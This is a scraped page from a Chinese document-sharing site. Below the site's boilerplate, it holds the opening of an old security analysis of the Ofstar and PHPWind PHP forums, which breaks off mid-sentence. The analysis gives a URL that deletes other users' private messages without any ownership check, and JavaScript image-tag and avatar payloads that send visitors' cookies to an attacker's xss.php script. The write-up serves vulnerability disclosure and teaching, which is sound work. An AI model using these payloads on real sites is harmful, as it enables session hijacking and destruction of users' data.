- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
Ofstar与phpind论坛安全性分析
Ofstar和phpind论坛安全性分析
前言
ofstar是php论坛新秀,我没有看代码写得如何,第一印象可读性不错,分析这个论坛的原因还是因为好友harry跟我说这个ofstar论坛抄袭了他朋友的bmforum(一个php文本数据库论坛)的代码,我不知道有没有,不过学习人家好的地方,这是理所当然的,我学习php还花近300RMB打印VBB的代码呢。不管怎么说,如果ofstar真的看了bmforum的代码,只能说明bmforum比ofstar优秀,我没有看textdb版,只看了SQL版,这样两个论坛不占边,则更能看出其水平。结果花了1个小时的时间,在harry的催促下,草草看了一下代码,结果发现N多漏洞,不过bmforum的开发人员也别得意,其实bmforum也有N多漏洞。Hoho~~
由于内部原因Ofstar的开发人员已经放弃了Ofstar SQL版本,不过,有意思的是PHPWind论坛其实是和Ofstar SQL差不多的。代码相差无几。这两个论坛有千丝万缕的关系。这个只有内部知道了。后来我又看了看PHPWind的代码。我想说的就是本文所说Ofstar SQL版本的漏洞,PHPWind全部继承了。代码有少许不同而已。呵呵。
由于是在网吧看的代码,有部分漏洞并未有条件实践。但理论上却是存在的。写出来的目的也是为了让更多PHP程序员借鉴。更多在于防范漏洞的思想,而不是方法,方法是多种多样的。
涉及版本
Ofstar v2.0.0 SQL正式版
PHPwind 1.0
详细
1、非法删除短消息
这个漏洞的破坏性实在是大,如果你的硬盘被别人格式化了,你还不知道怎么回事,可悲不?这个问题存在于message.php 文件,看以下代码:
133 if ($action==del){
134 $db-update(DELETE FROM of_msg WHERE mid=$mid);
135 showmsg(成功删除一条信息);
136 }
直接判断action参数是否为del,是则删除字段变量为mid的消息,并没有检查消息是否是本人的,这样就大乱了,我们提交:
HYPERLINK http://localhost/ofstar/message.php?action=delmid=1 \t _self http://localhost/ofstar/message.php?action=delmid=1
这样就可以删除mid为1的消息,如果有一个http扫描器,把这些url按顺序作成列表,导入扫描,不出半分钟。整个论坛的短消息都会被删除,管理员除了查看Web服务器的日志,就根本不知道是怎么被删除的。
2、明显的跨站脚本攻击
隐藏的跨站漏洞就没有时间去看了,这个是最明显的,那就是帖子标签的转换,看bbscode.php 文件的以下代码:
42 if ($allow[pic]){
43 $message = preg_replace(/\[img\](.+?)\[\/img\]/eis,cvpic(\1),$message);
44 }else{
这些代码是转换[img][/img]的贴图标签的。其实大多数人都是这样写的。大同小异,这样写并没有错,但是如果缺乏了必要的字符检查,那么就是一个安全隐患,我们提交:
[img]javascript:alert(document.cookie)[/img]
[img]javascript:window.open( HYPERLINK /xss.php?+document.cookie%20;%5b/img%5d \t _self /xss.php?+document.cookie ;[/img]
就可以获取任何浏览帖子的会员的cookie了。还有就是个人资料,如果系统允许调用远程的图片作为头像,那么也是一个可以跨站的地方,直接在图像位置那里输入:
javascript:alert(document.cookie)
javascript:window.open(#39 HYPERLINK /xss.php? \l 39+document.cookie ; \t _self /xss.php?#39+document.cookie ;
注意这里要把单引号换成#39,否则不能提交成功。
3、危害更大的攻击
既然上面解析[img][/img]没有问题,那我们还可以进行更进一步的攻击,用document.write()可以写出很多具
文档评论(0)